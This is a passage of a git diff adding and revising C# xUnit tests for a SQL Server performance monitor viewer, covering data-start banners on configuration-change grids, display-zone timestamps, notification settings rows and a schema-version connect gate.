+        { "GetTraceFlagChangesDataStartAsync", "trace_flags", "TraceFlagChangesSnapshotsSql" },
+    };
+
+    private static string SqlOf(string name) =>
+        (string)typeof(ViewerDataService).GetField(name)!.GetValue(null)!;
+
+    // ── The probes ──
+
+    [Theory]
+    [MemberData(nameof(Grids))]
+    public void EachProbe_GoesThroughTheSharedFloor_OverTheTableItsReadDrawsFrom(string probe, string table, string readSql)
+    {
+        var source = ViewerFile("ViewerDataService.ConfigChanges.cs");
+
+        Assert.Matches(
+            $@"public Task<DateTime\?> {probe}\(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default\) =>\s*"
+            + $@"DataWindowFloor\.GetForServerAsync\(_dataSource, DataWindowFloor\.Source\.ForCollectorTable\(""{table}""\), serverId, startUtc, endUtc,",
+            source);
+
+        /* The table the probe asks about is the one the grid's read draws from (through its v_ view). */
+        Assert.Contains($"FROM v_{table}", SqlOf(readSql), StringComparison.Ordinal);
+
+        Assert.True(DataWindowFloor.Source.TryForCollectorTable(table, out var floor), $"{table} is not a table the probe can read");
+        Assert.Equal(table, floor.Relation);
+        Assert.Equal("capture_time", floor.TimeColumn);
+    }
+
+    /* The web mirror probes the same four tables for the same grids (WebDataStartNote.TableByRead); the viewer shows three of them. */
+    [Fact]
+    public void TheSourcesTheWebProbes_AreAllReadableByTheSharedFloor()
+    {
+        foreach (var table in new[] { "server_config", "database_config", "trace_flags", "pg_server_config" })
+        {
+            Assert.True(DataWindowFloor.Source.TryForCollectorTable(table, out _), $"{table} is not a table the probe can read");
+        }
+    }
+
+    /* The Configuration tab of a PostgreSQL server lists the CURRENT settings (GetPgServerConfigAsync), a snapshot with no range to
+       cut. The day a grid lists the changes (DarlingPgServerConfigReader.GetConfigChangesAsync) it needs its own note, a probe over
+       pg_server_config through ShowEventDataStartAsync, as the three SQL Server grids have: this fails until it does. */
+    [Fact]
+    public void TheViewerShowsNoPostgresConfigurationChangesGrid_YetOrItsNotesProbeIsPinned()
+    {
+        var all = string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "*.cs").Select(File.ReadAllText));
+
+        Assert.DoesNotContain("GetConfigChangesAsync(", all, StringComparison.Ordinal);
+        Assert.DoesNotContain("get_pg_server_config_changes", all, StringComparison.Ordinal);
+    }
+
+    // ── The tab: the probes beside the reads, one banner per grid from the rows shown, no cap ──
+
+    [Fact]
+    public void TheTab_StartsOneProbePerGridBesideTheReads_AndAwaitsEachThroughTheSharedDecision()
+    {
+        var load = MethodBody(ViewerFile("ViewerServerTab.ConfigChanges.cs"), @"private async Task LoadConfigChangesAsync\(");
+
+        /* Three reads and the three probes beside them are six reads in flight, so the width declared to the deadline is six. */
+        Assert.Equal(1, Matches(load, @"using var readFanOut = ViewerReadFanOut\.Of\(6\);"));
+
+        Assert.Equal(1, Matches(load, @"var serverStartTask = _dataService\.GetServerConfigChangesDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load, @"var databaseStartTask = _dataService\.GetDatabaseConfigChangesDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load, @"var traceFlagStartTask = _dataService\.GetTraceFlagChangesDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+
+        /* The rows' change times, and no cap argument: the call ends at the row list. */
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(ServerConfigChangesTruncationBanner,\s*serverStartTask,\s*""Server Config Changes"",\s*startUtc,\s*serverChanges\.Select\(r => \(DateTime\?\)r\.ChangeTime\)\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(DatabaseConfigChangesTruncationBanner,\s*databaseStartTask,\s*""Database Config Changes"",\s*startUtc,\s*databaseChanges\.Select\(r => \(DateTime\?\)r\.ChangeTime\)\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(TraceFlagChangesTruncationBanner,\s*traceFlagStartTask,\s*""Trace Flag Changes"",\s*startUtc,\s*traceFlagChanges\.Select\(r => \(DateTime\?\)r\.ChangeTime\)\);"));
+
+        /* A probe is only the disclosure: none is awaited bare, so one that throws costs its banner and nothing after it. */
+        Assert.DoesNotContain("await serverStartTask", load, StringComparison.Ordinal);
+        Assert.DoesNotContain("await databaseStartTask", load, StringComparison.Ordinal);
+        Assert.DoesNotContain("await traceFlagStartTask", load, StringComparison.Ordinal);
+    }
+
+    /* A census over every server-tab file: each read of a grid is paired with its probe and its banner, so a second read path added
+       later without them fails here instead of shipping with a stale banner. */
+    [Fact]
+    public void EveryTabRead_OfTheThreeGrids_HasItsProbeAndItsBanner()
+    {
+        var tabs = string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+        foreach (var (read, probe, banner) in new[]
+        {
+            ("GetServerConfigChangesAsync", "GetServerConfigChangesDataStartAsync", "ServerConfigChangesTruncationBanner"),
+            ("GetDatabaseConfigChangesAsync", "GetDatabaseConfigChangesDataStartAsync", "DatabaseConfigChangesTruncationBanner"),
+            ("GetTraceFlagChangesAsync", "GetTraceFlagChangesDataStartAsync", "TraceFlagChangesTruncationBanner"),
+        })
+        {
+            Assert.Equal(1, Matches(tabs, $@"_dataService\.{read}\("));
+            Assert.Equal(1, Matches(tabs, $@"_dataService\.{probe}\("));
+            Assert.Equal(1, Matches(tabs, $@"ShowEventDataStartAsync\({banner},"));
+        }
+    }
+
+    [Theory]
+    [InlineData("ServerConfigChangesTruncationBanner", "ServerConfigChangesGrid", "ServerConfigChangesNoDataMessage")]
+    [InlineData("DatabaseConfigChangesTruncationBanner", "DatabaseConfigChangesGrid", "DatabaseConfigChangesNoDataMessage")]
+    [InlineData("TraceFlagChangesTruncationBanner", "TraceFlagChangesGrid", "TraceFlagChangesNoDataMessage")]
+    public void TheBanner_SitsAboveItsGrid_InTheExistingStyle(string banner, string grid, string emptyHint)
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var declared = Regex.Match(xaml, $@"<TextBlock Grid\.Row=""0"" x:Name=""{banner}""[^>]*/>");
+        Assert.True(declared.Success, $"{banner} is not declared in ViewerServerTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", declared.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", declared.Value, StringComparison.Ordinal);
+        Assert.Matches($@"<DataGrid Grid\.Row=""1"" x:Name=""{grid}""", xaml);
+        Assert.Matches($@"<TextBlock Grid\.Row=""1"" x:Name=""{emptyHint}""", xaml);
+    }
+
+    // ── What the banner shows: the product's own decision, on a real control ──
+
+    /* Rows start inside the range: the server was added 3 days in, and its first change came a quarter of a day later. The notice
+       names where the table's coverage starts, in the display zone. */
+    [Fact]
+    public void ARangeThatStartsBeforeCoverage_NamesTheCoverageStart()
+    {
+        Assert.Equal(DataStartBannerReadout.Since(At(3)), DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(3)), RangeStart, [At(3, 6), At(5)]));
+    }
+
+    /* The notice is written in the viewer's display zone: server time at +05:30 moves the coverage start's text, and only its text.
+       The expected text comes from the product's own banner formatter (DataStartBannerReadout.Since), so the format of the time
+       (to the minute or to the second) is not asserted here; the substring checks name the zone's shift in either. */
+    [Fact]
+    public void TheNotice_NamesItsTime_InTheDisplayZone()
+    {
+        var inServerTime = DataStartBannerReadout.For(
+            Task.FromResult<DateTime?>(At(3)), RangeStart, [At(3, 6)], mode: TimeDisplayMode.ServerTime, serverOffsetMinutes: 330);
+        var inUtc = DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(3)), RangeStart, [At(3, 6)], mode: TimeDisplayMode.UTC);
+
+        Assert.Equal(DataStartBannerReadout.Since(At(3), TimeDisplayMode.ServerTime, 330), inServerTime);
+        Assert.Contains("2026-09-04 05:30", inServerTime, StringComparison.Ordinal);
+        Assert.Equal(DataStartBannerReadout.Since(At(3)), inUtc);
+        Assert.Contains("2026-09-04 00:00", inUtc, StringComparison.Ordinal);
+        Assert.NotEqual(inUtc, inServerTime);
+    }
+
+    /* A quiet start: the store covered the whole range (coverage 20 days before it), and the first change came 5 hours in. No notice. */
+    [Fact]
+    public void AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(-20)), RangeStart, [At(0, 5), At(2)]));
+    }
+
+    /* None of the reads is capped: a long list of changes whose oldest came late in a covered range is not a cut (a capped read of the
+       same rows, with a cap equal to their count, would name its oldest row). */
+    [Fact]
+    public void ALongList_OfAnUncappedRead_NamesNoOldestRow_WhereTheStoreCoversTheRange()
+    {
+        var changes = Enumerable.Range(0, 1000).Select(i => (DateTime?)At(0, 5).AddMinutes(i)).ToList();
+
+        Assert.Null(DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(-20)), RangeStart, changes));
+        Assert.Equal(DataStartBannerReadout.Since(At(0, 5)), DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(-20)), RangeStart, changes, rowCap: 1000));
+    }
+
+    /* An empty grid is the probe's to say: a server added 3 days in has no earlier snapshots, whether or not a change was found. */
+    [Fact]
+    public void AnEmptyGrid_StillNamesTheCoverageStart()
+    {
+        Assert.Equal(DataStartBannerReadout.Since(At(3)), DataStartBannerReadout.For(Task.FromResult<DateTime?>(At(3)), RangeStart, []));
+        Assert.Null(DataStartBannerReadout.For(Task.FromResult<DateTime?>(null), RangeStart, []));
+    }
+
+    // ── A window no longer than the slack starts no probe ──
+
+    /* Every probe of the three grids returns at once on a range of an hour or up to the 90-minute slack, with no query against a store
+       nothing listens on; one minute over the slack starts the query, which fails there. */
+    [Theory]
+    [InlineData(60)]
+    [InlineData(90)]
+    public async Task ARangeNoLongerThanTheSlack_MakesNoProbeCall_ForAnyOfTheThreeGrids(int minutes)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+        var end = RangeStart.AddMinutes(minutes);
+
+        Assert.Null(await viewer.GetServerConfigChangesDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetDatabaseConfigChangesDataStartAsync(1, RangeStart, end, ct));
+        Assert.Null(await viewer.GetTraceFlagChangesDataStartAsync(1, RangeStart, end, ct));
+    }
+
+    [Fact]
+    public async Task ARangeOneMinuteOverTheSlack_StartsEachProbe_AgainstNoStore()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+        var end = RangeStart.AddMinutes(91);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetServerConfigChangesDataStartAsync(1, RangeStart, end, ct));
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetDatabaseConfigChangesDataStartAsync(1, RangeStart, end, ct));
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetTraceFlagChangesDataStartAsync(1, RangeStart, end, ct));
+    }
+}
+
+/// <summary>
+/// The "Showing since" banner a surface raises, read off a real control: what the product's own decision
+/// (<c>ViewerServerTab.ShowEventDataStartAsync</c>) writes for a probe's answer and the rows a grid shows. The test calls the
+/// product's rule, never a copy of it, so a change to the rule fails the tests that read it here.
+/// </summary>
+internal static class DataStartBannerReadout
+{
+    /// <summary>
+    /// The banner's text, or null when it is hidden. The control is seeded visible with stale text, so a no-op cannot pass as a hidden
+    /// banner. The display mode and server clock are set for the call and put back, whatever it does.
+    /// </summary>
+    public static string? For(
+        Task<DateTime?> probe, DateTime startUtc, IEnumerable<DateTime?> shownTimesUtc, int? rowCap = null,
+        TimeDisplayMode mode = TimeDisplayMode.UTC, int? serverOffsetMinutes = null)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            var savedMode = ViewerTimeHelper.CurrentDisplayMode;
+            var savedClock = ViewerTimeHelper.ActiveServerClock;
+            try
+            {
+                ViewerTimeHelper.CurrentDisplayMode = mode;
+                if (serverOffsetMinutes is int offset)
+                {
+                    ViewerTimeHelper.UtcOffsetMinutes = offset;
+                }
+
+                var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+                ViewerServerTab.ShowEventDataStartAsync(banner, probe, "Test Surface", startUtc, shownTimesUtc, rowCap).GetAwaiter().GetResult();
+                text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+            }
+            finally
+            {
+                ViewerTimeHelper.CurrentDisplayMode = savedMode;
+                ViewerTimeHelper.ActiveServerClock = savedClock;
+            }
+        });
+        return text;
+    }
+
+    /// <summary>
+    /// The banner text the product writes for the instant <paramref name="utc"/>: "Showing since " and the time as the tab's own
+    /// formatter (<c>ViewerServerTab.BannerTime</c>, the one formatter every "Showing since" note goes through) prints it under the
+    /// same display mode and server clock <see cref="For"/> sets. An assertion built from this follows the product's time format
+    /// instead of copying it.
+    /// </summary>
+    public static string Since(DateTime utc, TimeDisplayMode mode = TimeDisplayMode.UTC, int? serverOffsetMinutes = null)
+    {
+        var bannerTime = typeof(ViewerServerTab).GetMethod(
+            "BannerTime", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Public, [typeof(DateTime)])
+            ?? throw new InvalidOperationException("ViewerServerTab.BannerTime(DateTime) was not found: the banner's formatter moved.");
+
+        var savedMode = ViewerTimeHelper.CurrentDisplayMode;
+        var savedClock = ViewerTimeHelper.ActiveServerClock;
+        try
+        {
+            ViewerTimeHelper.CurrentDisplayMode = mode;
+            if (serverOffsetMinutes is int offset)
+            {
+                ViewerTimeHelper.UtcOffsetMinutes = offset;
+            }
+
+            return "Showing since " + (string)bannerTime.Invoke(null, [utc])!;
+        }
+        finally
+        {
+            ViewerTimeHelper.CurrentDisplayMode = savedMode;
+            ViewerTimeHelper.ActiveServerClock = savedClock;
+        }
+    }
+
+}
diff --git a/Darling/Darling.Tests/ViewerConfigGridCollectedColumnTests.cs b/Darling/Darling.Tests/ViewerConfigGridCollectedColumnTests.cs
new file mode 100644
index 0000000000..ecfbe4ce7b
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerConfigGridCollectedColumnTests.cs
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4966: the viewer's five Configuration grids show the newest snapshot, so each ends with a <c>Collected</c> column that says when
+/// that snapshot was captured, the same last column Lite's twin grids carry. The column shows the time to the second in the display
+/// zone and sorts by the stored UTC instant.
+/// </summary>
+[Collection("viewer-time-statics")]
+public sealed class ViewerConfigGridCollectedColumnTests
+{
+    [Theory]
+    [InlineData("ServerConfigGrid")]
+    [InlineData("DatabaseConfigGrid")]
+    [InlineData("DatabaseScopedConfigGrid")]
+    [InlineData("QueryStoreHealthGrid")]
+    [InlineData("TraceFlagsGrid")]
+    public void EachConfigGrid_EndsWithACollectedColumn_SortingOnTheStoredInstant(string gridName)
+    {
+        var xaml = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml");
+        var start = xaml.IndexOf($"x:Name=\"{gridName}\"", StringComparison.Ordinal);
+        Assert.True(start >= 0, $"no {gridName} in the viewer XAML");
+        var end = xaml.IndexOf("</DataGrid>", start, StringComparison.Ordinal);
+        Assert.True(end > start, $"{gridName} is unterminated");
+        var grid = xaml[start..end];
+
+        var columns = Regex.Matches(grid, @"<DataGridTextColumn [^>]*Binding=""\{Binding ([A-Za-z]+)\}""[^>]*>").ToList();
+        var last = columns[^1];
+        Assert.Equal("CaptureTimeLocal", last.Groups[1].Value);
+        Assert.Contains("SortMemberPath=\"CaptureTime\"", last.Value, StringComparison.Ordinal);
+        Assert.Contains("<TextBlock Text=\"Collected\"", grid[last.Index..], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void CaptureTimeLocal_WordsTheUtcInstant_InTheDisplayZone_ToTheSecond()
+    {
+        var savedMode = ViewerTimeHelper.CurrentDisplayMode;
+        var savedClock = ViewerTimeHelper.ActiveServerClock;
+        var savedCulture = CultureInfo.CurrentCulture;
+        try
+        {
+            CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+            ViewerTimeHelper.ActiveServerClock = ServerClock.Resolve("Eastern Standard Time", -300);
+            var at = new DateTime(2026, 1, 15, 17, 4, 59, DateTimeKind.Unspecified);
+
+            Assert.Equal("2026-01-15 12:04:59", new ServerConfigRow { CaptureTime = at }.CaptureTimeLocal);
+            Assert.Equal("2026-01-15 12:04:59", new DatabaseConfigRow { CaptureTime = at }.CaptureTimeLocal);
+            Assert.Equal("2026-01-15 12:04:59", new DatabaseScopedConfigRow { CaptureTime = at }.CaptureTimeLocal);
+            Assert.Equal("2026-01-15 12:04:59", new QueryStoreHealthRow { CaptureTime = at }.CaptureTimeLocal);
+            Assert.Equal("2026-01-15 12:04:59", new TraceFlagRow { CaptureTime = at }.CaptureTimeLocal);
+
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            Assert.Equal("2026-01-15 17:04:59", new TraceFlagRow { CaptureTime = at }.CaptureTimeLocal);
+        }
+        finally
+        {
+            ViewerTimeHelper.CurrentDisplayMode = savedMode;
+            ViewerTimeHelper.ActiveServerClock = savedClock;
+            CultureInfo.CurrentCulture = savedCulture;
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs b/Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs
index f870fa25f3..6e433d9ff1 100644
--- a/Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs
+++ b/Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs
@@ -156,10 +156,8 @@ public void SelectSql_ReadsEveryColumn_FromTheSingleRow()
     }
 
     [Fact]
-    public void SmtpPassword_IsSealedAsAServiceReadableBlob_NeverPlaintext()
+    public void TheProjection_CarriesTheSmtpSettings_ButNoPassword_ItIsSealedAfterwardForTheRowItIsWrittenWith()
     {
-        Assert.SkipUnless(OperatingSystem.IsWindows(), "DPAPI requires Windows.");
-
         var settings = new ViewerAppSettings
         {
             SmtpEnabled = true,
@@ -168,12 +166,10 @@ public void SmtpPassword_IsSealedAsAServiceReadableBlob_NeverPlaintext()
             SmtpRecipients = "dba@contoso.com",
         };
 
-        var row = ViewerControlPlaneMigration.BuildNotificationRow(settings, "hunter2", "", "");
+        var row = ViewerControlPlaneMigration.BuildNotificationRow(settings, "", "");
 
-        Assert.NotNull(row.SmtpEncryptedPassword);
-        Assert.NotEqual("hunter2", row.SmtpEncryptedPassword); /* not plaintext */
-        /* The SERVICE must be able to read what the viewer sealed (identical DPAPI entropy + scope). */
-        Assert.Equal("hunter2", DarlingSecrets.Unprotect(row.SmtpEncryptedPassword!));
+        Assert.Equal("smtp.contoso.com", row.SmtpHost);
+        Assert.Null(row.SmtpEncryptedPassword);
     }
 
     [Fact]
@@ -187,7 +183,7 @@ public void DisabledChannels_WriteEmptyFields_SoTheServiceTreatsThemOff()
             SlackWebhookEnabled = false,
         };
 
-        var row = ViewerControlPlaneMigration.BuildNotificationRow(settings, "pw", "https://teams", "https://slack");
+        var row = ViewerControlPlaneMigration.BuildNotificationRow(settings, "https://teams", "https://slack");
 
         Assert.Equal("", row.SmtpHost);
         Assert.Null(row.SmtpEncryptedPassword);
diff --git a/Darling/Darling.Tests/ViewerCpuSchedulerTests.cs b/Darling/Darling.Tests/ViewerCpuSchedulerTests.cs
index 0ecb87195c..2c72d614cf 100644
--- a/Darling/Darling.Tests/ViewerCpuSchedulerTests.cs
+++ b/Darling/Darling.Tests/ViewerCpuSchedulerTests.cs
@@ -119,6 +119,17 @@ public void CpuSchedulerView_IsPinnedInTheAuthoritativeViewList()
 /// </summary>
 public sealed class ViewerCpuSchedulerProjectionTests
 {
+    [Fact]
+    public void TheGridRows_AllCarryTheSnapshotsCollectionTime_AndANullSnapshotHasNone()
+    {
+        var snapshot = Snapshot();
+        var rows = CpuSchedulerGridRow.Build(snapshot);
+        Assert.NotEmpty(rows);
+        Assert.All(rows, r => Assert.Equal(snapshot.CollectionTime, r.CollectionTime));
+        Assert.Equal(CpuSchedulerMetrics.BuildMetrics(snapshot).Select(m => m.Metric), rows.Select(r => r.Metric));
+        Assert.Empty(CpuSchedulerGridRow.Build(null));
+    }
+
     private static CpuSchedulerSnapshot Snapshot(
         bool workerExhaustion = false, bool runnableWarn = false, bool blockedWarn = false,
         bool queuedWarn = false, bool memPressure = false, bool offlineWarn = false,
diff --git a/Darling/Darling.Tests/ViewerDailyHealthTests.cs b/Darling/Darling.Tests/ViewerDailyHealthTests.cs
index 5365eb95df..92f0cd878a 100644
--- a/Darling/Darling.Tests/ViewerDailyHealthTests.cs
+++ b/Darling/Darling.Tests/ViewerDailyHealthTests.cs
@@ -163,7 +163,8 @@ public void CollectionHealthSql_AggregatesPerCollectorOverTheWindow_WithTheBandi
         Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
         Assert.Contains("collection_time >= $2", sql, StringComparison.Ordinal);
         Assert.Contains("GROUP BY collector_name", sql, StringComparison.Ordinal);
-        Assert.Contains("ORDER BY collector_name", sql, StringComparison.Ordinal);
+        /* The final order is the aggregate's own collector_name, qualified because the keyed lookups (#4955) join it. */
+        Assert.Contains("ORDER BY h.collector_name", sql, StringComparison.Ordinal);
 
         /* Success / error / permission buckets feed the row's HealthStatus banding. The success bucket
            is NARROWED (#2926): an abandonment written before #2803 gave abandonment its own status is
@@ -456,7 +457,7 @@ public void CollectionLogRow_CollectionTimeFormatted_TreatsTheStoredValueAsUtc()
            formatted local time round-trips back to the stored instant on any machine. */
         var storedUtc = new DateTime(2026, 7, 3, 3, 30, 0, DateTimeKind.Unspecified);
         var row = new CollectionLogRow { CollectionTime = storedUtc };
-        var expected = storedUtc.ToLocalTime().ToString("g");
+        var expected = storedUtc.ToLocalTime().ToString("yyyy-MM-dd HH:mm:ss");
         Assert.Equal(expected, row.CollectionTimeFormatted);
     }
 }
diff --git a/Darling/Darling.Tests/ViewerDailySummaryAzureMasterScopeLiveTests.cs b/Darling/Darling.Tests/ViewerDailySummaryAzureMasterScopeLiveTests.cs
index 7502c3e8f0..0bc8719c21 100644
--- a/Darling/Darling.Tests/ViewerDailySummaryAzureMasterScopeLiveTests.cs
+++ b/Darling/Darling.Tests/ViewerDailySummaryAzureMasterScopeLiveTests.cs
@@ -156,10 +156,10 @@ private static async Task RegisterAsync(NpgsqlConnection connection, int id, str
     {
         var name = host + "/" + (database ?? "-");
         await DarlingMcpTestData.ExecAsync(connection, ct,
-            "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_engine_edition, sql_major_version, created_date, modified_date) VALUES ($1, $2, $2, TRUE, $3, 16, now()::timestamp, now()::timestamp)",
+            "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_engine_edition, sql_major_version, created_date, modified_date) VALUES ($1, $2, $2, TRUE, $3, 16, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC')",
             id, name, edition);
         await DarlingMcpTestData.ExecAsync(connection, ct,
-            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1, now()::timestamp, $2, 's', $3)",
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1, now() AT TIME ZONE 'UTC', $2, 's', $3)",
             CollectionIdGenerator.Next(), id, edition);
         await DarlingMcpTestData.ExecAsync(connection, ct,
             "INSERT INTO config.config_monitored_servers (server_id, name, host, database, is_enabled) VALUES ($1, $2, $3, $4, TRUE)",
diff --git a/Darling/Darling.Tests/ViewerDataServiceTests.cs b/Darling/Darling.Tests/ViewerDataServiceTests.cs
index 890fa85f12..dd659185ce 100644
--- a/Darling/Darling.Tests/ViewerDataServiceTests.cs
+++ b/Darling/Darling.Tests/ViewerDataServiceTests.cs
@@ -467,6 +467,69 @@ public void TheCollectionHealthTab_ReadsTheSchemaVersionThroughTheCachedField()
         Assert.True(calls > 0, "the tab no longer reads the schema version; retire this pin with the read");
     }
 
+    /// <summary>
+    /// A build that reads the run-time column V160 added refuses a store without it at connect (#4938). The Collector Schedules
+    /// read and save name that column, so a store below V160 would answer them with a raw "column does not exist" error. It never
+    /// gets that far: the connect gate in <c>MainWindow</c> reads the probed version, and a store below the build's version
+    /// stops the load with a message that says to update or restart the service, before any tab or editor loads. That is why
+    /// the viewer's schedule read has no older-store fallback of its own, the way the CLI's read-back has one (the CLI works
+    /// against a store older than its binary and the viewer does not). This pins the three parts: the probe carries the column,
+    /// the map puts a store without it below the required version, and the gate stops on a store below it. Relaxing the gate to
+    /// open an older store fails this, and the read then needs the fallback.
+    ///
+    /// <para>The probe is the one thing that can fail open: a probe that throws returns no version and the gate does not block
+    /// (a healthy store is never refused for a probe hiccup). That path is not covered here, and a store below V160 on it
+    /// meets the write executors' skew translation.</para>
+    /// </summary>
+    [Fact]
+    public void ABuildThatReadsTheRunTimeColumn_RefusesAStoreWithoutIt_AtConnect()
+    {
+        /* The schedule read and save never name the run time (the schedule Save deletes and re-inserts a scope's rows, so a column
+           there would be cleared), and the run-time read and write name the table the V160 rung created. */
+        Assert.DoesNotContain("run_at_minute", ViewerDataService.CollectorSchedulesSelectSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("run_at_minute", ViewerDataService.CollectorScheduleFleetUpsertSql, StringComparison.Ordinal);
+        Assert.DoesNotContain("run_at_minute", ViewerDataService.CollectorScheduleServerUpsertSql, StringComparison.Ordinal);
+        Assert.Contains("FROM config.config_collector_run_times", ViewerDataService.CollectorRunTimesSelectSql, StringComparison.Ordinal);
+        Assert.Contains("INTO config.config_collector_run_times", ViewerDataService.CollectorRunTimeServerUpsertSql, StringComparison.Ordinal);
+
+        /* The probe carries the table as a sentinel. */
+        Assert.Contains(
+            "to_regclass('config.config_collector_run_times') IS NOT NULL",
+            ViewerDataService.StoreSchemaProbeSql, StringComparison.Ordinal);
+
+        /* The map: every sentinel up to and including this one present is V160, and this one absent is V159, which is below
+           the version the build requires. Built from the signature, so a later migration's sentinel (which comes after this
+           one) is false in both and the answer does not move. */
+        var map = typeof(ViewerDataService).GetMethod(
+            nameof(ViewerDataService.MapProbedSchemaVersion),
+            System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static)!;
+        var parameters = map.GetParameters();
+        var runAt = Array.FindIndex(parameters, p => p.Name == "hasCollectorRunAt");
+        Assert.True(runAt >= 0, "the probe map has no run-time sentinel, so a store without the column maps one rung high");
+
+        var atV160 = Enumerable.Range(0, parameters.Length).Select(i => (object)(i <= runAt)).ToArray();
+        Assert.Equal(160, (int)map.Invoke(null, atV160)!);
+
+        var atV159 = (object[])atV160.Clone();
+        atV159[runAt] = false;
+        var mapped = (int)map.Invoke(null, atV159)!;
+        Assert.Equal(159, mapped);
+        Assert.True(mapped < ViewerDataService.RequiredStoreSchemaVersion, "a store without the run-time column must read below the required version");
+
+        /* The gate: a probed version below the required one shows the failure and returns, and it does so before the first tab
+           loads from the store. */
+        var main = CSharpSourceWalker.StripCommentsAndStrings(
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "MainWindow.xaml.cs"));
+        var gate = System.Text.RegularExpressions.Regex.Match(
+            main,
+            @"version < ViewerDataService\.RequiredStoreSchemaVersion\)\s*\{.*?ShowConnectionFailure\(.*?\);\s*return;\s*\}",
+            System.Text.RegularExpressions.RegexOptions.Singleline);
+        Assert.True(gate.Success, "MainWindow no longer refuses a store below the required version at connect");
+
+        var firstTabLoad = main.IndexOf("AlertsHistoryContent.Initialize(", StringComparison.Ordinal);
+        Assert.True(firstTabLoad > gate.Index, "the version gate must come before the first tab loads from the store");
+    }
+
     private static string ThisFile([System.Runtime.CompilerServices.CallerFilePath] string path = "") => path;
 
     [Fact]
diff --git a/Darling/Darling.Tests/ViewerDataStartBannerTests.cs b/Darling/Darling.Tests/ViewerDataStartBannerTests.cs
new file mode 100644
index 0000000000..f28dc4fdd0
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerDataStartBannerTests.cs
@@ -0,0 +1,332 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's server tab says where the data starts on the two surfaces that read the 7-day tables over
+/// the tab's range: Active Queries (query_snapshots) and Blocking's Current Waits (waiting_tasks). A 30-day custom
+/// range used to draw 7 days on both with nothing to say so. Each asks the shared probe
+/// (<see cref="PerformanceMonitor.Darling.Storage.DataWindowFloor"/>) where the server's coverage starts for the
+/// range (the later of its first collection and the table's retention edge, moved earlier by a row in the range,
+/// so a quiet start is not a cut) and shows the Queries tab's "Showing since" banner when that is after the
+/// range's start. The Queries tab's three raw-table grids (Top Queries, Top Procedures, Query Store) ask their own
